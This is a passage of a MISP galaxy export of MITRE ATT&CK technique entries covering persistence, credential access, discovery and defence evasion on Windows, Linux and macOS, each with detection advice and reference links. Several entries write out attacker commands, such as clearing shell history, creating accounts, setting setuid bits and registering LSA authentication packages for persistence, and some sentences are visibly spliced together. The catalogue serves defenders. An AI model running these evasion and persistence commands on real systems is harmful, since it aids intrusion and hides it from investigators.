Detection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders.[[Citation: TechNet Autoruns]] Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.

Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [[Command and Control]], learning details about the environment through , and [[Lateral Movement]].

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Windows Registry, File monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Registry Run Keys / Start Folder"*

Table 1716. Table References

Links
https://attack.mitre.org/wiki/Technique/T1060
https://technet.microsoft.com/en-us/sysinternals/bb963902
http://msdn.microsoft.com/en-us/library/aa376977

Service Execution

Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.

Detection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Windows Registry, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Service Execution"*

Table 1717. Table References

Links
https://attack.mitre.org/wiki/Technique/T1035

Uncommonly Used Port

Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: Netflow/Enclave netflow, Process use of network, Process monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Uncommonly Used Port"*

Table 1718. Table References

Links
https://attack.mitre.org/wiki/Technique/T1065
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Deobfuscate/Decode Files or Information

Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.

One such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file.certutil.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: File monitoring, Process Monitoring, Process command-line parameters

Contributors: Matthew Demaske, Adaptforward

The tag is: *misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information"*

Table 1719. Table References

Links
https://attack.mitre.org/wiki/Technique/T1140
https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/

Create Account

Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.

The <code>net user</code> commands can be used to create a local or domain account.

Detection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller.[[Citation: Microsoft User Creation Event]] Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.

Platforms: Windows 10, Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows Server 2003, Windows Server 2008, Windows XP, Windows Server 2003 R2, Windows Vista, Linux, MacOS, OS X

Data Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs

The tag is: *misp-galaxy:mitre-attack-pattern="Create Account"*

Table 1720. Table References

Links
https://attack.mitre.org/wiki/Technique/T1136
https://docs.microsoft.com/windows/device-security/auditing/event-4720

Data Staged

Collected data is staged in a central location or directory prior to Data Compressed or Data Encrypted.

Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.

Detection: Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files.

Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: File monitoring, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Data Staged"*

Table 1721. Table References

Links
https://attack.mitre.org/wiki/Technique/T1074

Rc.common

During the boot process, macOS and Linux both execute <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts[[Citation: Startup Items]]. In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.

Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user[[Citation: Methods of Mac Malware Persistence]].

Detection: The <code>/etc/rc.common</code> file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.

Platforms: Linux, MacOS, OS X

Data Sources: File monitoring, Process Monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Rc.common"*

Table 1722. Table References

Links
https://attack.mitre.org/wiki/Technique/T1163
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Securityd Memory

In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple's keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.[[Citation: OS X Keychain]][[Citation: External to DA, the OS X Way]] Apple's securityd utility takes the user's logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user's password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.[[Citation: OS X Keychain]]

If an adversary can obtain root access (allowing them to read securityd's memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user's logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.[[Citation: OS X Keychain]][[Citation: OSX Keydnap malware]]

Platforms: OS X

Data Sources: Process Monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Securityd Memory"*

Table 1723. Table References

Links
https://attack.mitre.org/wiki/Technique/T1167
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain

New Service

When operating systems boot up, they can start programs or applications called services that perform background system functions.Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.

Detection: Monitor service creation through changes in the Registry and common utilities using command-line invocation. New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Windows Registry, Process monitoring, Process command-line parameters

Effective Permissions: SYSTEM

The tag is: *misp-galaxy:mitre-attack-pattern="New Service"*

Table 1724. Table References

Links
https://attack.mitre.org/wiki/Technique/T1050
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://technet.microsoft.com/en-us/library/cc772408.aspx

Network Share Connection Removal

Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the <code>net use \\system\share /delete</code> command.Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs

The tag is: *misp-galaxy:mitre-attack-pattern="Network Share Connection Removal"*

Table 1725. Table References

Links
https://attack.mitre.org/wiki/Technique/T1126
https://technet.microsoft.com/bb490717.aspx

DLL Injection

DLL injection is used to run code in the context of another process by causing the other process to load and execute code. Running code in the context of another process provides adversaries many benefits, such as access to the process's memory and permissions. It also allows adversaries to mask their actions under a legitimate process. A more sophisticated kind of DLL injection, reflective DLL injection, loads code without calling the normal Windows API calls, potentially bypassing DLL load monitoring. Numerous methods of DLL injection exist on Windows, including modifying the Registry, creating remote threads, Windows hooking APIs, and DLL pre-loading.PowerShell with tools such as PowerSploit,[[Citation: Powersploit]] so additional PowerShell monitoring may be required to cover known implementations of this behavior.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: API monitoring, Windows Registry, File monitoring, Process monitoring

Effective Permissions: User, Administrator, SYSTEM

The tag is: *misp-galaxy:mitre-attack-pattern="DLL Injection"*

Table 1726. Table References

Links

https://attack.mitre.org/wiki/Technique/T1055
http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces
http://en.wikipedia.org/wiki/DLL%20injection
https://github.com/mattifestation/PowerSploit

Hidden Files and Directories

To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).

===Windows===

Users can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.

===Linux/Mac===

Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name [[Citation: Sofacy Komplex Trojan]][[Citation: Antiquated Mac Malware]]. Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.

===Mac===

Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app[[Citation: WireLurker]]. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.

Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.

Detection: Monitor the file system and shell commands for files being created with a leading "." and the Windows command-line use of attrib.exe to add the hidden attribute.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: File monitoring, Process Monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden Files and Directories"*

Table 1727. Table References

Links
https://attack.mitre.org/wiki/Technique/T1158
https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/

Authentication Package

Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.[[Citation: MSDN Authentication Packages]]

Adversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\</code> with the key value of <code>"Authentication Packages"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.

Detection: Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe</code> with AuditLevel = 8.[[Citation: Graeber 2014]][[Citation: Microsoft Configure LSA]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: DLL monitoring, Windows Registry, Loaded DLLs

The tag is: *misp-galaxy:mitre-attack-pattern="Authentication Package"*

Table 1728. Table References

Links
https://attack.mitre.org/wiki/Technique/T1131
https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
https://technet.microsoft.com/en-us/library/dn408187.aspx

http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html

Multilayer Encryption

An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.

Detection: If malware uses Standard Cryptographic Protocol, SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels.Custom Cryptographic Protocol, if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.[[Citation: Fidelis DarkComet]]

In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: Packet capture, Process use of network, Malware reverse engineering, Process monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Multilayer Encryption"*

Table 1729. Table References

Links
https://attack.mitre.org/wiki/Technique/T1079
https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf
http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html

Component Firmware

Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

The tag is: *misp-galaxy:mitre-attack-pattern="Component Firmware"*

Table 1730. Table References

Links
https://attack.mitre.org/wiki/Technique/T1109

Cron Job

Per Apple's developer documentation, there are two supported methods for creating periodic background jobs: launchd and cron[[Citation: AppleDocs Scheduling Timed Jobs]].

===Launchd===

Each Launchd job is described by a different configuration property list (plist) file similar to Launch Daemons or Launch Agents, except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values [[Citation: AppleDocs Scheduling Timed Jobs]]. This only works on macOS and OS X.

===cron===

System-wide cron jobs are installed by modifying <code>/etc/crontab</code> while per-user cron jobs are installed using crontab with specifically formatted crontab files [[Citation: AppleDocs Scheduling Timed Jobs]]. This works on Mac and Linux systems.

Both methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence[[Citation: Janicab]][[Citation: Methods of Mac Malware Persistence]][[Citation: Malware Persistence on OS X]], to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.

Detection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Tasks scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.

Platforms: Linux, MacOS

Data Sources: File monitoring, Process Monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Cron Job"*

Table 1731. Table References

Links
https://attack.mitre.org/wiki/Technique/T1168
https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf
http://www.thesafemac.com/new-signed-malware-called-janicab/
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html

Windows Management Instrumentation Event Subscription

Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts.[[Citation: Dell WMI Persistence]] Examples of events that may be subscribed to are the wall clock time or the computer’s uptime.[[Citation: Kazanciyan 2014]] Several threat groups have reportedly used this technique to maintain persistence.[[Citation: Mandiant M-Trends 2015]]

Detection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.[[Citation: TechNet Autoruns]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: WMI Objects

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription"*

Table 1732. Table References

Links
https://attack.mitre.org/wiki/Technique/T1084
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf
https://www.secureworks.com/blog/wmi-persistence
https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf

Disabling Security Tools

Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.

Detection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: API monitoring, File monitoring, Services, Windows Registry, Process command-line parameters, Anti-virus

The tag is: *misp-galaxy:mitre-attack-pattern="Disabling Security Tools"*

Table 1733. Table References

Links
https://attack.mitre.org/wiki/Technique/T1089

Peripheral Device Discovery

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

The tag is: *misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery"*

Table 1734. Table References

Links
https://attack.mitre.org/wiki/Technique/T1120

Data Compressed

An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.

Detection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.

If the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers.[[Citation: Wikipedia File Header Signatures]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata

The tag is: *misp-galaxy:mitre-attack-pattern="Data Compressed"*

Table 1735. Table References

Links
https://attack.mitre.org/wiki/Technique/T1002
https://en.wikipedia.org/wiki/List%20of%20file%20signatures

Account Discovery

Adversaries may attempt to get a listing of local system or domain accounts.

===Windows===

Example commands that can acquire this information are <code>net user</code>, <code>net group <groupname></code>, and <code>net localgroup <groupname></code> using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.

===Mac===

On Mac, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.

===Linux===

On Linux, local users can be enumerated through the use of the <code>/etc/passwd</code> file which is world readable. In mac, this same file is only used in single-user mode in addition to the <code>/etc/master.passwd</code> file.

Also, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: API monitoring, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Account Discovery"*

Table 1736. Table References

Links
https://attack.mitre.org/wiki/Technique/T1087

Pass the Hash

Pass the hash (PtH)[[Citation: Aorato PTH]] is a method of authenticating as a user without having access to the user’s cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a [[Credential Access]] technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes.[[Citation: NSA Spotting]]

Detection: Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Authentication logs

The tag is: *misp-galaxy:mitre-attack-pattern="Pass the Hash"*

Table 1737. Table References

Links
https://attack.mitre.org/wiki/Technique/T1075
http://www.nsa.gov/ia/%20files/app/spotting%20the%20adversary%20with%20windows%20event%20log%20monitoring.pdf
http://www.aorato.com/labs/pass-the-hash/

Clear Command History

macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.

Detection: User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the <code>~/.bash_history</code> file are indicators of suspicious activity.

Platforms: Linux, MacOS, OS X

Data Sources: Authentication logs, File monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Clear Command History"*

Table 1738. Table References

Links
https://attack.mitre.org/wiki/Technique/T1146

Timestomp

Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools.[[Citation: WindowsIR Anti-Forensic Techniques]]

Detection: Forensic techniques exist to detect aspects of files that have had their timestamps modified.[[Citation: WindowsIR Anti-Forensic Techniques]] It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10

Data Sources: File monitoring, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Timestomp"*

Table 1739. Table References

Links
https://attack.mitre.org/wiki/Technique/T1099
http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html

Setuid and Setgid

When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file’s attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.

An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context.

Detection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.

Platforms: Linux, MacOS, OS X

Data Sources: File monitoring, Process Monitoring, Process command-line parameters

Effective Permissions: Administrator, root

The tag is: *misp-galaxy:mitre-attack-pattern="Setuid and Setgid"*

Table 1740. Table References

Links
https://attack.mitre.org/wiki/Technique/T1166

Brute Force

Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.

Credential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network.Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.

Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: Authentication logs

Contributors: John Strand

The tag is: *misp-galaxy:mitre-attack-pattern="Brute Force"*

Table 1741. Table References

Links
https://attack.mitre.org/wiki/Technique/T1110
http://www.blackhillsinfosec.com/?p=4645
http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf
https://en.wikipedia.org/wiki/Password%20cracking

Modify Registry

Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Reg may be used for local or remote Registry modification.Valid Accounts are required, along with access to the remote system’s Windows Admin Shares for RPC communication.

